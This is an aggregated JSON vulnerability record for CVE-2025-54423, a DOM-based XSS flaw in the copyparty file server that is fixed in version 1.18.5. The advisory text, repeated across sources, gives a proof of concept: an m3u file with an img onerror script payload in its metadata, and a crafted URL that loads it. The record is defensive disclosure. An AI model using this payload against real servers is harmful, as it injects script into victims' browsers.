{"id":"CVE-2025-54423","aliases":["EUVD-2025-22945","GHSA-9q4r-x2hj-jmvr","PYSEC-2026-1277"],"status":"published","title":"copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata","description":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00472,"percentile":0.41328,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-07-28T16:41:44Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"PyPI","package":"copyparty","fixed_in":["1.18.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"copyparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.18.4"},{"fixed":"1.18.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"copyparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.5"}]}],"versions":["0.10.0","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.26","0.11.27","0.11.28","0.11.29","0.11.30","0.11.31","0.11.32","0.11.33","0.11.34","0.11.35","0.11.36","0.11.37","0.11.38","0.11.39","0.11.40","0.11.41","0.11.42","0.11.43","0.11.44","0.11.45","0.11.46","0.11.47","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.1","0.12.10","0.12.11","0.12.12","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.2","0.13.3","0.13.5","0.13.6","0.13.7","0.13.9","0.2.3","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.6.0","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.1","0.8.3","0.9.0","0.9.1","0.9.10","0.9.11","0.9.13","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.2","1.0.3","1.0.4","1.0.5","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.12","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.10.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.13.7","1.13.8","1.14.0","1.14.1","1.14.2","1.14.3","1.14.4","1.15.0","1.15.1","1.15.10","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.15.7","1.15.8","1.15.9","1.16.0","1.16.1","1.16.10","1.16.11","1.16.12","1.16.13","1.16.14","1.16.15","1.16.16","1.16.17","1.16.18","1.16.19","1.16.2","1.16.20","1.16.21","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.17.0","1.17.1","1.17.2","1.18.0","1.18.1","1.18.2","1.18.3","1.18.4","1.2.0","1.2.1","1.2.10","1.2.11","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.6.0","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.6","1.8.7","1.8.8","1.9.0","1.9.1","1.9.10","1.9.11","1.9.12","1.9.13","1.9.14","1.9.15","1.9.16","1.9.17","1.9.18","1.9.19","1.9.2","1.9.20","1.9.21","1.9.24","1.9.25","1.9.26","1.9.27","1.9.28","1.9.29","1.9.3","1.9.30","1.9.31","1.9.4","1.9.5","1.9.6","1.9.7","1.9.8","1.9.9"]},{"source":"osv","ecosystem":"PyPI","package":"copyparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.5"}]}],"versions":["0.10.0","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.26","0.11.27","0.11.28","0.11.29","0.11.30","0.11.31","0.11.32","0.11.33","0.11.34","0.11.35","0.11.36","0.11.37","0.11.38","0.11.39","0.11.40","0.11.41","0.11.42","0.11.43","0.11.44","0.11.45","0.11.46","0.11.47","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.1","0.12.10","0.12.11","0.12.12","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.2","0.13.3","0.13.5","0.13.6","0.13.7","0.13.9","0.2.3","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.6.0","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.1","0.8.3","0.9.0","0.9.1","0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Advisory","advisory","web"]},{"url":"https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/9001/copyparty/releases/tag/v1.18.5","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54423","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9q4r-x2hj-jmvr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54423.json","tags":["advisory"]},{"url":"https://github.com/9001/copyparty","tags":["package"]},{"url":"https://pypi.org/project/copyparty","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-54423","title":"copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata","description":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","status":"published","published":"2025-07-28T19:53:24.109Z","modified":"2025-07-28T20:20:15.875Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:27.28543Z"}],"euvd":[{"id":"EUVD-2025-22945","description":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","status":"published","published":"2025-07-28T19:53:24Z","modified":"2025-07-28T20:20:15Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T20:32:03.359865Z"}],"ghsa":[{"id":"GHSA-9q4r-x2hj-jmvr","title":"copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata","description":"### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.","status":"published","published":"2025-07-28T16:41:44Z","modified":"2025-07-29T12:34:33Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:51.864708Z"}],"nvd":[{"id":"CVE-2025-54423","description":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","status":"published","published":"2025-07-28T20:17:48.573Z","modified":"2026-06-17T09:40:04.68Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:21.132141Z"}],"osv":[{"id":"CVE-2025-54423","title":"copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata","description":"copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.","status":"published","published":"2025-07-28T19:53:24.109Z","modified":"2026-10-28T02:31:12.993502016Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"GHSA-9q4r-x2hj-jmvr","title":"copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata","description":"### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.","status":"published","published":"2025-07-28T16:41:44Z","modified":"2026-07-07T17:57:12.111271153Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:44.225359Z"},{"id":"PYSEC-2026-1277","title":"copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata","description":"### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.","status":"published","published":"2026-07-07T16:02:59.039311Z","modified":"2026-07-07T17:47:21.115497296Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:54.622769Z"}]}}